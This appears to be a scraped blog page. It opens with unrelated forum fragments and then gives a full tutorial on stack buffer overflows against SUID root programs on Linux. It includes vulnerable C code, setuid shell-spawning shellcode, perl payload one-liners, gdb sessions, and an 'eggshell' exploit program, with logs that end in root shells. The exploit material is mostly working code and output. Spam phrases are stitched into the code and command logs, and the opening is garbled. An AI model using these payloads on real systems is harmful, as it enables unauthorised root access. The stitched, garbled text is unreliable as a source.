I'm trying to do a buffer overflow on SLMail 5.5. I see where EIP is when I send 2606 A's to the program using my script. However, I cannot get the Metasploit pattern creator to work. I want to use this as it helps find the offset. When I use the produced characters in my script, SLMail acts like nothing happened. . The core material covers the syllabus in depth, and can be exploited in different ways with different types of class. The country could exploit its position as a major oil producer to push up world oil prices. These ironworks were built in 173 6 and were worked for 130 years, exploiting local iron ore deposits. How many actions do you need to take to disable DEP I am attempting to disable DEP on a program that will be used in a demonstration of how a basic buffer overflow works. The application is a C app written in visual studio and I am running into. But apparently most people don't seem to know about them. What you'll see in this presentation is a list of bugs and then some explanation of how these could be exploited somehow. Some of the things I'll be talking about are (recursive) stack overflow, NULL pointer dereferences, regular expressions and more. Apr 01, 2013 0day Browser Exploit CODE Using C 0day Browser Exploit CODE Using C for this. Closed account. Hi, I have translated a HTML script into a C code which allows the attacker to simple create a Memory Corruption on Morzilla Firefox Version 17.0. Also making sure you know it wasn't me who reported. Closed account No, the reason.
EXAMPLE #1-EXPLOIT DEMONSTRATION
In our exploit example we are going to overflow the stack using a SUID program. In this exploit we as normal user are going to spawn a local root shell by overflowing the program owned by root. The vulnerable program used is shown below. This is a SUID program.
/* test.c */
#include <unistd.h>
int main(int argc, char *argv[])
{
char buff[100];
/*if no argument…*/
if(argc <2)
{
printf('Syntax: %s <input string>n', argv[0]); Whats the latest auto tune.
exit (0);
}
strcpy(buff, argv[1]);
return 0;
}
The shellcode used to spawn a root shell is as follows:
x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89
xe3x52x53x89xe1x8dx42x0bxcdx80
In our vulnerable program we have declared an arraybuff[100] of size 100. We use vulnerable functions, strcpy(), that do not do the bound checking of the input. We are going to overflow the stack of this program by supplying more than 100 characters until the return address is properly overwritten and pointing back to the stack which we have stored our ‘root spawning’ shellcode. By simple observation and calculation, the stack frame for this program should be as follows:
Figure 1: Spawning a root shell exploit - a stack layout.
Let run the program with same sample inputs. Firstly, compile the test.c, change the owner and group to root and suid the program then change back to normal user, so that we as normal user can run the program that owned by root.
[bodo@bakawali testbed2]$ gcc -g test.c -o test
[bodo@bakawali testbed2]$ ls -l
total 20
-rwxrwxr-x 1 bodo bodo 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[bodo@bakawali testbed2]$ su
Password: *****
[root@bakawali testbed2]# chown 0:0 test
[root@bakawali testbed2]# ls -l
total 20
-rwxrwxr-x 1 root root 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[root@bakawali testbed2]# chmod 4755 test
[root@bakawali testbed2]# ls -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[root@bakawali testbed2]# exit
exit
[bodo@bakawali testbed2]$
From the previous stack layout, in order to overwrite the return address we need to supply 108 characters or at least 104 to start the overwriting. Let verify this fact by running the program with some sample inputs.
[bodo@bakawali testbed2]$ ls -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 15 23:11 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[bodo@bakawali testbed2]$ ls -F -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 25 23:18 test*
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c*
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'A'x100'`
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'A'x104'`
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'A'x108'`
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'A'x116'`
Download free kontakt vst free.
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'A'x120'`
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'A'x124'`
Segmentation fault
[bodo@bakawali testbed2]$
Well, we need at least 124 bytes instead of 104. So what happened here? Let examine the program using gdb.
[bodo@bakawali testbed2]$ gdb -q test
Using host libthread_db library '/lib/tls/libthread_db.so.1'.
(gdb) disass main
Dump of assembler code for function main:
0x080483d0 <main+0>: push %ebp
0x080483d1 <main+1>: mov %esp, %ebp
0x080483d3 <main+3>: sub $0x78, %esp
0x080483d6 <main+6>: and $0xfffffff0, %esp
0x080483d9 <main+9>: mov $0x0, %eax
..
[Trimmed]
0x08048425 <main+85>: add $0x10, %esp
0x08048428 <main+88>: mov $0x0, %eax
0x0804842d <main+93>: leave
0x0804842e <main+94>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb)
/****testbuf.c******/
int main(int argc, char *argv[])
{
char buffer[n];
strcpy(buffer, argv[1]);
return 0;
}
Back to our program, the stack now should be like this:
Figure 2: Spawning a root shell exploit - stack's content arrangement.
So, we need at least 124 bytes to start overwriting the saved ebp and 128 bytes to overwrite the return address. Our stack arrangement should be something like the following:
NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOPs area) = 72 + 32 + 20 + 4 = 128 bytes
Using the perl’s print command for easiness, our input/argument arrangement is as follows. This is a one line command. Free vst plug-ins.
`perl -e 'print 'x90'x72, 'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62
x69x89xe3x52x53x89xe1x8dx42x0bxcdx80', 'a'x20, 'xa0xfbxffxbf'`
In order to make our chances higher in hitting our shellcodes, we pad at the beginning of the stack with NOP (executable no-operation instruction-x90 for x86). Though guess work might still be required, the return address must not be as precise anymore; it is enough to hit the NOPs area. Now our stack layout should be something like the following:
Figure 3: Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes.
Other Intel x86 instructions that can be used to replace NOPs (because NOPs are easily detected by Intrusion Detection System – IDS) can be found at the following links:NOP equivalent instructions or you can check the processor’s instruction set documentation. Next, let verify the return address of our program by running it in gdb with some sample input/argument as constructed previously.
[bodo@bakawali testbed2]$ gdb -q test
Using host libthread_db library '/lib/tls/libthread_db.so.1'.
(gdb) break main
Breakpoint 1 at 0x80483ec: file test.c, line 7.
(gdb) r `perl -e 'print 'x90'x72, 'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2f
x73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80', 'a'x20, 'xa0xfbxffxbf'`
Starting program: /home/bodo/testbed2/test `perl -e 'print 'x90'x72, 'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69
x89xe3x52x53x89xe1x8dx42x0bxcdx80', 'a'x20, 'xa0xfbxffxbf'`
Breakpoint 1, main (argc=2, argv=0xbffffa54) at test.c:7
7 if(argc <2)
(gdb) step
11 strcpy(buff, argv[1]);
(gdb) x/200x $esp
0xbffff940: 0x6f6e2800 0x0029656e 0xbffff994 0x00000000
0xbffff950: 0xbffff994 0x00000000 0x00000000 0x00000000
0xbffff960: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff970: 0x00000000 0x00000000 0x0177ff8e 0xbffffa00
0xbffff980: 0x0066e4f8 0x00000000 0x00000000 0x00000000
..
[Trimmed]
..
0xbffffa40: 0x08048484 0x006643d0 0xbffffa4c 0x0066af11
0xbffffa50: 0x00000002 0xbffffb5a 0xbffffb73 0x00000000
0xbffffa60: 0xbffffbf6 0xbffffc08 0xbffffc18 0xbffffc23
0xbffffa70: 0xbffffc31 0xbffffc5b 0xbffffc6e 0xbffffc78
0xbffffa80: 0xbffffe3b 0xbffffe47 0xbffffe52 0xbffffea4
0xbffffa90: 0xbffffebe 0xbffffeca 0xbffffee2 0xbffffef7
0xbffffaa0: 0xbfffff08 0xbfffff11 0xbfffff44 0xbfffff54
0xbffffab0: 0xbfffff5c 0xbfffff69 0xbfffffac 0xbfffffce
0xbffffac0: 0x00000000 0x00000010 0x0383f3ff 0x00000006
0xbffffad0: 0x00001000 0x00000011 0x00000064 0x00000003
..
[Trimmed]
..
0xbffffb30: 0x00000000 0x0000000f 0xbffffb4b 0x00000000
0xbffffb40: 0x00000000 0x00000000 0x69000000 0x00363836
---Type <return> to continue, or q <return> to quit---
0xbffffb50: 0x00000000 0x00000000 0x682f0000 0x2f656d6f
0xbffffb60: 0x6f646f62 0x7365742f 0x64656274 0x65742f32
0xbffffb70: 0x90007473 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x90909090 0x31909090 0xb0c389c0
0xbffffbc0: 0x3180cd17 0x6e6852d2 0x6868732f 0x69622f2f
0xbffffbd0: 0x5352e389 0x428de189 0xcd623078 0x61616180
0xbffffbe0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffbf0: 0xfffba061 0x4f4800bf 0x414e5453 0x623d454d
0xbffffc00: 0x77616b61 0x00696c61 0x4c454853 0x622f3d4c
0xbffffc10: 0x622f6e69 0x00687361 0x4d524554 0x6574783d
0xbffffc20: 0x48006d72 0x53545349 0x3d455a49 0x30303031
0xbffffc30: 0x48535300 0x494c435f 0x3d544e45 0x66663a3a
0xbffffc40: 0x313a6666 0x312e3136 0x312e3234 0x312e3435
0xbffffc50: 0x31203130 0x20383430 0x53003232 0x545f4853
(gdb) x/x $ebp
0xbffff9c8: 0xbffffa28
(gdb) x/x $ebp+4
0xbffff9cc: 0x00689e33
(gdb) x/x $ebp-4
0xbffff9c4: 0x0066dc80
(gdb) x/x $esp
0xbffff940: 0x6f6e2800
(gdb) q
The program is running. Exit anyway? (y or n) y
The important part of the memory location has been highlighted with color. Next, get an address of the NOPs area. If the chosen address of the NOPs fails, try another adjacent address. The most important thing here the chosen return address must be pointing the NOPs area. Let try the following address.
0xbffffba0
Rearrange in hexadecimal representation.
xbfxffxfbxa0
Little endian the return address.
xa0xfbxffxbf
Then, based on our previous arrangement,
NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOP area) = 72 + 32 + 20 + 4 = 128 bytes
Replace the return address of the return address part in the original argument. Take note that this is a one line command.
`perl -e 'print 'x90'x72, 'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68
x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80', 'a'x20, 'xa0xfbxffxbf'`
Re-run the program with this new argument.
[bodo@bakawali testbed2]$ whoami
bodo
[bodo@bakawali testbed2]$ ./test `perl -e 'print 'x90'x72, 'x31xc0x89xc3xb0x17xcdx80
x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69 x89xe3x52x53x89xe1x8dx42x0bxcdx80', 'a'x20, 'xa0xfbxffxbf'`
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
sh-3.00# su -
[root@bakawali ~]# whoami
root
[root@bakawali ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
[root@bakawali ~]#
Well, we got root in the first try! And the rest is history :o)…We passed the input strings to our program through theargv[1] (as the command line first argument). Then in the program, the strcpy() copied the input into the stack’s buffer without verifying the size, overwriting the return address nicely with an address that pointing back to the stack area. When the program finished, instead of returning back to system/OS, it return to the stack area, start executing the NOPs and proceeded to our shellcode that spawned a root shell. Our final stack layout that has been over flown should be looked something like the following:
EXAMPLE #2 – USING THE EGGSHELL
What is eggshell?
Using the classic method as shown in the previous example quite lousy isn’t it? In most cases, buffer can be too small to hold the exploit code. Let try another example using what is called aneggshell. Here, we create an eggshell on the heap that is a self-contained exploit code, and then we pass this eggshell to the environment variable, as our command line vulnerable program’s argument. Next we run the vulnerable program with argument read from the environment variable. Using this approach the exploit code can be arbitrary longer and may be the method of choice for local exploits because you need an access to environment variable. An example of the eggshell program is shown below.
/* exploit.c */
#include <unistd.h>
#include <stdlib.h>
/* default offset is 0 */
#define DEFOFFSET 0
/* default buffer size is 512, by knowing that our vulnerable */
/* program’s buffer is 512 bytes */
#define DEFBUFFSIZE 512
/* No-operation instruction */
#define NOP 0x90
/* our shellcode that spawn a root shell */
char hellcode[ ] = 'x31xc0x89xc3xb0x17xcdx80x31xd2x52x68x6ex2fx73x68'
'x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80';
/* getting the esp, so that we can determine the return address */
unsigned long getesp(void)
{__asm__('movl %esp, %eax');}
int main(int argc, char *argv[])
{
/* declare and initialize some of the variables */
char *buff, *ptr;
long *addr_ptr, retaddr;
int i, offset=DEFOFFSET, buffsize=DEFBUFFSIZE;
/* If 1st argument supplied, it is the buffer size, else use default */
if(argc>1)
buffsize = atoi(argv[1]);
/* If 2nd argument is supplied, it is the offset, else use default */
if(argc>2)
offset = atoi(argv[2]);
/* using the heap buffer, for our string construction */
if(!(buff = malloc(buffsize)))
{printf('Memory allocation for buffer failed lor!n');
exit (0);
}
/* get the return address */
retaddr = getesp() - offset;
/* just to display some data */
printf('Using the address: %0Xn', retaddr);
printf('The offset is: %0Xn', offset);
printf('The buffer size is: %0xn', buffsize);
ptr = buff;
addr_ptr = (long *)ptr;
/* copy the return address into the buffer, by word size */
for (i=0; i< buffsize; i+=4)
*(addr_ptr++) = retaddr;
/* copy half of the buffer with NOP, by byte size */
for (i=0; i < buffsize/2; i++)
buff[i] = NOP;
/* copy the shellcode after the NOPs, by byte */
ptr = buff + ((buffsize/2) - (strlen(hellcode)/2));
for (i=0; i < strlen(hellcode); i++)
*(ptr++) = hellcode[i];
/* Terminate the string’s buffer with NULL */
buff[buffsize-1] = '0';
/* Now that we've got the string built */
/* Copy the 'EGG=' string into the buffer, so that we have 'EGG=our_string' */
memcpy(buff, 'EGG=', 4);
/* Put the buffer, 'EGG=our_string', in the environment variable,
as an input for our vulnerable program*/
putenv(buff);
/* run the root shell, after the overflow */
system('/bin/bash');
return 0;
}
Compile and run the program. You can use the following program to verify the string in the environment variable, or useset or env commands.
/* testenv.c */
#include <unistd.h>
int main()
{
char *descr = getenv('EGG');
if (descr)
printf('Value of EGG is: %sn', descr);
else
printf('The environment variable not defined lor!n');
return 0;
}
Our vulnerable program is shown below. This is SUID program. We declare xbuff[512], so we need 512 and more to overflow the buffer in the stack.
/* vul.c */
#include <unistd.h>
int main(int argc, char *argv[])
{
char xbuff[512];
if(argc >1)
strcpy(xbuff, argv[1]);
return 0;
}
Or as previously done you can verify that by running the program in gdb as shown below:
[bodo@bakawali testbed3]$ gdb -q vul
Using host libthread_db library '/lib/tls/libthread_db.so.1'.
(gdb) disass main
Dump of assembler code for function main:
0x08048368 <main+0>: push %ebp
0x08048369 <main+1>: mov %esp, %ebp
0x0804836b <main+3>: sub $0x208, %esp
0x08048371 <main+9>: and $0xfffffff0, %esp
0x08048374 <main+12>: mov $0x0, %eax
0x08048379 <main+17>: add $0xf, %eax
0x0804837c <main+20>: add $0xf, %eax
..
[
Trimmed ]
..
0x08048396 <main+46>: pushl (%eax)
0x08048398 <main+48>: lea 0xfffffdf8(%ebp), %eax
0x0804839e <main+54>: push %eax
0x0804839f <main+55>: call 0x80482b0 <_init+56>
0x080483a4 <main+60>: add $0x10, %esp
0x080483a7 <main+63>: mov $0x0, %eax
![]()
0x080483ac <main+68>: leave
0x080483ad <main+69>: ret
End of assembler dump.
(gdb) q
[bodo@bakawali testbed3]$
So there are 520 (0x208) bytes reserved for the stack’s buffer. We need 528 and more to overwrite the return address. Follow these steps (using the default offset):
[bodo@bakawali testbed3]$ ls -F -l
total 60
-rwxrwxr-x 1 bodo bodo 7735 Feb 17 22:32 exploit*
-rw-rw-r-- 1 bodo bodo 1107 Feb 17 22:32 exploit.c
-rwxrwxr-x 1 bodo bodo 6147 Feb 27 18:19 testenv*
Exploit-dev Do I Need To Know C Lo
-rw-rw-r-- 1 bodo bodo 206 Feb 27 18:18 testenv.c
-rwsr-xr-x 1 root root 5989 Feb 17 22:24 vul*
-rw-rw-r-- 1 bodo bodo 121 Feb 17 21:16 vul.c
[bodo@bakawali testbed3]$ whoami
bodo
[bodo@bakawali testbed3]$ id
uid=502(bodo) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
Let try using 612 (512 + 100) for the string’s buffer size.
[bodo@bakawali testbed3]$ ./exploit 612
Using the address: BFFFFA28
The offset is: 0
The buffer size is: 264
[bodo@bakawali testbed3]$ ./testenv
Value of EGG is: 1ÀðÍ1ÒRhn/shh//biãRSá Íÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿
(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿
(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ
[bodo@bakawali testbed3]$ ./vul $EGG
Segmentation fault
[bodo@bakawali testbed3]$
First try failed. So, add another 100 bytes for the buffer size. Repeat the previous steps.
[bodo@bakawali testbed3]$ ./exploit 712
Using the address: BFFFF7D8
The offset is: 0
The buffer size is: 2c8
[bodo@bakawali testbed3]$ ./vul $EGG
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
sh-3.00# su -
Exploit-dev Do I Need To Know Change
[root@bakawali ~]# id
Exploit-dev Do I Need To Know Chords
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
Well, we got root in our second try and our exploit code can be longer. Yihaaaaaaaaaaaaaaaaaaaaaa!!!!
Further reading and digging:
Exploit-dev Do I Need To Know Clean
Comments are closed.
|
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |